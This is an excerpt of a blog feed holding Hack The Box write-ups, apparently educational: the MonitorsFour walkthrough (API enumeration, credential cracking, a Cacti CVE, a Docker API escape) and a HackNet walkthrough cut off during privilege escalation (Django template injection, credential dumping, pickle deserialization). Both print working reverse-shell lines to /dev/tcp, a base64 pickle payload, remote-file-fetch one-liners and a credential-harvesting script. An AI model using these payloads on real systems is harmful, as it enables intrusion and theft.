            (1,0): &quot;Z:2&quot;,
            (0,1): &quot;X:2&quot;,
            (1,1): &quot;Z:2;X:2&quot;
        }[(m0, m1)]

        r.sendlineafter(b&quot;Specify the instructions : &quot;, instr)
        r.sendlineafter(b&quot;Specify the measurement basis : &quot;, basis)

        final = int(r.recvline().split()[-1])
        bits.append((&quot;0&quot; if basis == &quot;Z&quot; else &quot;1&quot;) + str(final))

except EOFError:
    b = &apos;&apos;.join(bits)
    flag = int(b, 2).to_bytes((len(b)+7)//8, &quot;big&quot;)
    try: print(&quot;FLAG:&quot;, flag.decode())
    except: print(&quot;FLAG:&quot;, flag)
finally:
    r.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Iterating this for the whole dump and converting the recovered bitstream back to bytes yields the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/84b941e7b386b76333ab41866afa74ee.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5e8618aaafa52f213579f23d093c2bda.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-MonitorsFour</title><link>https://maxk9999.vercel.app/posts/monitorsfour</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/monitorsfour</guid><pubDate>Sat, 06 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &apos;~/components/PasswordProtect.client&apos;;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.98
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- --min-rate=5000 -Pn -T5 -vvvv monitorsfour.htb

PORT     STATE SERVICE REASON  VERSION
80/tcp   open  http    syn-ack nginx
| http-methods: 
|_  Supported Methods: GET
|_http-title: MonitorsFour - Networking Solutions
|_http-favicon: Unknown favicon MD5: 889DCABDC39A9126364F6A675AA4167D
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
5985/tcp open  http    syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/34d646f6239526a03676d913d34aac53.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;gobuster&lt;/h3&gt;
&lt;p&gt;In order to enumerate the directories I used &lt;code&gt;gobuster&lt;/code&gt;.
Amongst the finds was the &lt;code&gt;.env&lt;/code&gt; file which I looked into:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0f3819219b074b59ec9bcff759cd140e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;These credentials did not work for the login, and I tried password spraying with no luck.&lt;/p&gt;
&lt;p&gt;I had also enumerated the &lt;code&gt;/api&lt;/code&gt; endpoint:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ade12080db8b896f62ff8e7a71cb351d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/04c2f1b2bf77f8db09f77dead1637b67.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then added the token and got this output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a5bf24c6deb1e0de037fd3999d30fbf4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Accordingly I added an id and got this output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eba8c8ae65fbf35d33a2f2d024757173.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This meant I could automate and brute force the id&apos;s using &lt;code&gt;ffuf&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;ffuf&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w &amp;lt;(seq 0 100) -u &apos;http://monitorsfour.htb/api/v1/user?token=0&amp;amp;id=FUZZ&apos; -fr &apos;No user&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9f8b3169222fa4025bbe5905039d1a48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then enumerated all the id&apos;s in a &lt;code&gt;json&lt;/code&gt; output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i in 6 11 10 7 2; do curl -s &quot;http://monitorsfour.htb/api/v1/user?token=0&amp;amp;id=$i&quot; | jq .; done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6d9c7fd4263b387649552279c249f6eb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and cracked the passwords:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c70f7f98b4305e9b2ff2e32e74b763e7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;the valid match we were looking for was:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin
wonderful1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I used this credential set to log in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d0aacc97b56adfe1776772c9062f09c1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nothing was found useful here, moving on.&lt;/p&gt;
&lt;h3&gt;cacti.monitorsfour.htb&lt;/h3&gt;
&lt;p&gt;During my enumeration I had found the &lt;code&gt;cacti.monitorsfour.htb&lt;/code&gt; vhost and added it to my hosts list.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/949a3477b87811982c03099a238a56e8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e18f6f994bc748e0802a898ef8e0e246.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried password spraying some of the cracked combinations:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/46c7d4ea46cdf4048829cdf30a105286.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While &lt;code&gt;admin&lt;/code&gt; didn&apos;t work I tried the first name of the &lt;code&gt;admin&lt;/code&gt; user which was &lt;em&gt;marcus&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7ee53af9e60dd9466b75d218ab964a46.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This gave me full access!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f6f5c96178d76ebb5ca1482d6247a430.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;CVE-2025-24367&lt;/h2&gt;
&lt;p&gt;Using &lt;a&gt;this publicly available PoC&lt;/a&gt; I went ahead and got a reverse shell on the server:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2e563da27b9e66d5e885e018d39015f6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/496100b52aa78d47a847d9e395e2502a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c0e763ed4bc59248fb7e4f722c33fb40.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Right away I noticed we landed inside of a docker container instead of the actual target.&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;In order to transfer over files I used the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export RHOST=10.10.14.9
export RPORT=80
export LFILE=linpeas.sh
bash -c &apos;{ echo -ne &quot;GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n&quot; 1&amp;gt;&amp;amp;3; cat 0&amp;lt;&amp;amp;3; } \
    3&amp;lt;&amp;gt;/dev/tcp/$RHOST/$RPORT \
    | { while read -r; do [ &quot;$REPLY&quot; = &quot;$(echo -ne &quot;\r&quot;)&quot; ] &amp;amp;&amp;amp; break; done; cat; } &amp;gt; $LFILE&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/546d7812b0f55126629cdfbc6f24de3a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fec0b7f4df0817e49f3556206e845ab9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;During the enumeration I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3a7e8968476d403d94e0b558487da739.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cactiuser
7pyrf6ly8qx4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/afd0f4e49cb36dd5fe612e81919e4ff7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I didn&apos;t find anything super useful here so instead checked the &lt;code&gt;/etc/resolv.conf&lt;/code&gt; file in order to find out what the internal interface of the docker host is:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2eaa049b27ef296087f62ee65c07dc76.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;docker&lt;/h3&gt;
&lt;p&gt;Since we know we&apos;re inside a &lt;code&gt;docker&lt;/code&gt; container, and we know what the external host IP is we can use &lt;a href=&quot;https://book.hacktricks.wiki/en/network-services-pentesting/2375-pentesting-docker.html?highlight=docker#docker-basics&quot;&gt;the following techniques&lt;/a&gt; to enumerate the port:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/65ed8634e68d67bf9221a9940dc8e505.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then used the following command to enumerate the &lt;code&gt;docker&lt;/code&gt; instance running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s http://192.168.65.7:2375/images/json | sed &apos;s/},{/},\n{/g&apos; | sed &apos;s/,/\n  /g&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ef83cf56f01b3a7288c54d444caae2a7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Docker API Escape - CVE-2025-9074&lt;/h2&gt;
&lt;p&gt;I started doing some enumeration about the &lt;code&gt;docker&lt;/code&gt; api and how I could escape it and found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/609ececa3e657095b593f2bba44f959d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then checked &lt;a href=&quot;https://hackviser.com/tactics/pentesting/services/docker&quot;&gt;this website&lt;/a&gt; for useful Docker API commands:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1ef8eb04a267186b268028bfbff1b7a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The following steps will have to done in order to get a successfull reverse shell:&lt;/p&gt;
&lt;h3&gt;Create Container&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Create a &lt;code&gt;json&lt;/code&gt; file which will create the container:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;Image&quot;: &quot;docker_setup-nginx-php:latest&quot;,
  &quot;Cmd&quot;: [&quot;bash&quot;,&quot;-c&quot;,&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.9/80 0&amp;gt;&amp;amp;1&quot;],
  &quot;HostConfig&quot;: {
    &quot;Binds&quot;: [&quot;/mnt/host/c:/host_root&quot;]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Create the container:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;curl -s -H &quot;Content-Type: application/json&quot; \
  -d @create_container.json \
  http://192.168.65.7:2375/containers/create &amp;gt; resp.json
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Check the response file, use this as the id to start the container:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;response:

2f2764e2948cbc1ebe3aa5a20458d381e0f975d7d6dc9047ad1811f360120288
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST http://192.168.65.7:2375/containers/2f2764e2948cbc1ebe3aa5a20458d381e0f975d7d6dc9047ad1811f360120288/start
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Check listener:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b740fa8b2d051f9f65e9ece668b14b6f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once we have a successfull container we can go ahead and read the &lt;strong&gt;Windows&lt;/strong&gt; file system:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bbbfdbddc6fb6b21c8dd9aaa591593d3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;The root flag is found in the &lt;em&gt;Administrator&lt;/em&gt;&apos;s desktop as always:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ce2fb29a26d6017da36b45959015c69e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Docker CLI - Alternative Priv Esc&lt;/h2&gt;
&lt;p&gt;Instead of sending &lt;code&gt;curl&lt;/code&gt; commands to the &lt;code&gt;docker&lt;/code&gt; API we can also leverage &lt;code&gt;ligolo&lt;/code&gt; to set up a tunnel, then use &lt;code&gt;docker&lt;/code&gt; cli commands from our own host.
I downloaded over &lt;code&gt;ligolo&lt;/code&gt; to the target and ran the agent:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export RHOST=10.10.14.9
export RPORT=8000
export LFILE=agent
bash -c &apos;{ echo -ne &quot;GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n&quot; 1&amp;gt;&amp;amp;3; cat 0&amp;lt;&amp;amp;3; } \
    3&amp;lt;&amp;gt;/dev/tcp/$RHOST/$RPORT \
    | { while read -r; do [ &quot;$REPLY&quot; = &quot;$(echo -ne &quot;\r&quot;)&quot; ] &amp;amp;&amp;amp; break; done; cat; } &amp;gt; $LFILE&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Accordingly we set up the ligolo tunnel to the external interface and we can now get to work.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ligolo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I used the following commands to create a container and use the image:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker context create monitors --docer &quot;host=tcp://192.168.65.7:2375&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/docker1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then used these commands to check whether the the container and image were up and running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker ps
docker images
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/docker2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And lastly ran the image in &quot;opsec&quot; mode (&lt;code&gt;--rm&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -it --rm -v /:/mnt alpine sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/docker3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hereafter I was able to view the contents of the filesystem:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/docker4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1888a9a6948173877d31aab9cf2db74a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-HackNet</title><link>https://maxk9999.vercel.app/posts/hacknet</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/hacknet</guid><pubDate>Tue, 23 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.85
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- --min-rate=5000 -Pn -T5 -vvvv hacknet.htb

PORT      STATE    SERVICE REASON      VERSION
22/tcp    open     ssh     syn-ack     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ8BFa2rPKTgVLDq1GN85n/cGWndJ63dTBCsAS6v3n8j85AwatuF1UE+C95eEdeMPbZ1t26HrjltEg2Dj+1A2DM=
|   256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFOSA3zBloIJP6JRvvREkPtPv013BYN+NNzn3kcJj0cH
80/tcp    open     http    syn-ack     nginx 1.22.1
|_http-title: HackNet - social network for hackers
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-favicon: Unknown favicon MD5: B89198D9BEDA866B6ADC1D0CD9ECAEB6
|_http-server-header: nginx/1.22.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/22cbdbcff95635ca79ea8785ddae1820.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and registered a new account:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29be2cdbe8b6e0a4368aae015bf6d557.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/abf8dc045e3f5238714ccb1450bb62cf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started looking around in the &lt;strong&gt;Search&lt;/strong&gt; tab where I found that some users had private profiles:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8df38fa86bba5bbd93c3f306da7be526.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And some didn&apos;t:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b17f0380801559b36cc7f47f612803f0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can test out the &lt;em&gt;like&lt;/em&gt; as well as the &lt;em&gt;comment&lt;/em&gt; functionality:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ca8e2f230fa7881728ec2fae7dcb295a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Apparently we need to add people first before we can comment:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c7879c1d0f2f2a4875531f8174622e10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside &lt;em&gt;caido&lt;/em&gt; I viewed the &lt;code&gt;/likes&lt;/code&gt; route where I found that this showed all the profile pictures of the people that like the post:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b531fa18fcf390958bb2354cb9fdc99e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can also clearly see their username inside the &lt;em&gt;title&lt;/em&gt; tag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8f172f64dfbf6eaf9332a8819cdb9dfc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;SSTI&lt;/h3&gt;
&lt;p&gt;:::note
Since the usernames are shown inside the title tag I can attempt &lt;strong&gt;SSTI&lt;/strong&gt; by using the &lt;code&gt;{{ users }}&lt;/code&gt; variable in order to dump all the usernames.
:::&lt;/p&gt;
&lt;p&gt;Now I went ahead and tried testing out the following&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e6649c7eccbda05b587f22cb1e5837d7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4000cb794ff2c8409e455a36b661022a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This time around the app dumped the complete &lt;code&gt;QuerySet&lt;/code&gt; which appears to be all users who liked this post.&lt;/p&gt;
&lt;p&gt;Moving on from here I would like to find out what the &lt;code&gt;SocialUser&lt;/code&gt; object consists of. For this I&apos;ll use the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ users.values }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/403885a0f56ff8a8066747de2bca8922.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This time around it dumps the following variables:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/28fbd0b1104c1c3dcf1baf4cfd0faa0d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id
email
username
password
picture
about
contact_requests
unread_messages
is_public
is_hidden
two_fa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Having found this info we can start automating the next steps in order to quickly dump only the necessary information about all users.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import re, html, requests

U = &quot;http://hacknet.htb&quot;
H = {
    &quot;Cookie&quot;: &quot;csrftoken=pWsK8Xea5pzMvqUDjABzeW1dhif4nS8R; sessionid=a70tgjtj5w59pwst7y1n7n2dz5ziqv7s&quot;, # Change these variables
    &quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;
}

out = set()

for i in range(1, 31):
    requests.get(f&quot;{U}/like/{i}&quot;, headers=H)
    r = requests.get(f&quot;{U}/likes/{i}&quot;, headers=H).text

    imgs = re.findall(r&apos;title=&quot;([^&quot;]+)&quot;&apos;, r)
    if not imgs:
        continue

    q = html.unescape(imgs[-1])

    if &quot;&amp;lt;QuerySet&quot; not in q:
        requests.get(f&quot;{U}/like/{i}&quot;, headers=H)
        r = requests.get(f&quot;{U}/likes/{i}&quot;, headers=H).text
        imgs = re.findall(r&apos;title=&quot;([^&quot;]+)&quot;&apos;, r)
        if not imgs:
            continue
        q = html.unescape(imgs[-1])

    for e, p in zip(
        re.findall(r&quot;&apos;email&apos;: &apos;([^&apos;]*)&apos;&quot;, q),
        re.findall(r&quot;&apos;password&apos;: &apos;([^&apos;]*)&apos;&quot;, q)
    ):
        out.add(f&quot;{e.split(&apos;@&apos;)[0]}:{p}&quot;)

with open(&quot;creds.txt&quot;, &quot;w&quot;) as f:
    for line in sorted(out):
        f.write(line + &quot;\n&quot;)

print(&quot;\n===== * Found Users * =====\n&quot;)
print(&quot;\n&quot;.join(sorted(out)))
print(&quot;\n[+] Saved to creds.txt&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a73f738e54b7cfa89861d958672f7fd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;22/TCP - SSH&lt;/h2&gt;
&lt;h3&gt;hydra&lt;/h3&gt;
&lt;p&gt;We can now attempt a brute force using the combination file that our script created:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -C creds.txt ssh://hacknet.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2a15bbdae09e2a4632506e8e43b141b9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as mikey&lt;/h2&gt;
&lt;p&gt;Using the correct credentials I logged in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8f44fe44787dd5bbebdfc029c559293a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;It was here I could snatch the user flag right away:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c7ab7a73f10c23e3e789fa97b6b5ac13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Lateral Movement&lt;/h1&gt;
&lt;h2&gt;Django Cache Deserialization attack&lt;/h2&gt;
&lt;p&gt;Accordingly I went on to enumerate the system, where I started off with the web root:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/944603b769b44fe9cb219b9d17dd64ea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d38d319d32aa725d093599453cd00f34.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the &lt;code&gt;views.py&lt;/code&gt; file I found strong evidence that the target could be vulnerable to a &lt;strong&gt;Django Cache Deserialization attack&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/91ccb1e9d6f6e54b73d9c6cddbaabf18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then found out that the &lt;code&gt;django_cache&lt;/code&gt; directory is owned by &lt;em&gt;sandy&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ecaf9a159c7b5de094e3fb026883cda6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can write the following poc in order to get myself a reverse shell as &lt;em&gt;sandy&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import pickle
import base64

# Exploit object
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, (f&apos;bash -c &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.9/443 0&amp;gt;&amp;amp;1&quot;&apos;,),)

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d5348f076cf1e7f85daf2a59f97158da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After heading over to &lt;code&gt;/explore&lt;/code&gt; a new set of django cache files are created:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/840ce51fe41c0b6ecc2e744653201959.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/14286f290de8b26bc92bd825adada6b3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since I can&apos;t simply overwrite the files I&apos;ll have to get creative:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bfbd77ca3f43f01e55d8499b980b82a7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using the following regex however we can overwrite the files and make them executable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i in $(ls); do rm -f $i; echo &apos;gASVTAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDFiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjkvNDQzIDA+JjEilIWUUpQu&apos; | base64 -d &amp;gt; $i; chmod +x $i; done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a920df3707c0deadd438f8a7c071cd6b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Shell as sandy&lt;/h2&gt;
&lt;p&gt;Now when we refresh the web page again the exploit fires and we get a reverse shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/47d4d21c692e0a9b07b6af353e703d46.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I headed over to the home directory and started enumerating&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3968de9df973f338c80aad609ee2ea52.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the &lt;code&gt;.gnupg&lt;/code&gt; directory some private keys were found:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dc696adea30b553d89e9d9201d03afd4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;gnupg keys&lt;/h2&gt;
&lt;p&gt;We can easily decrypt it as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cp -r .gnupg/ /tmp/gnupg
chmod -R 700 /tmp/gnupg/
gpg --homedir /tmp/gnupg/ --list-secret-keys
&lt;/code&gt;&lt;/pre&gt;
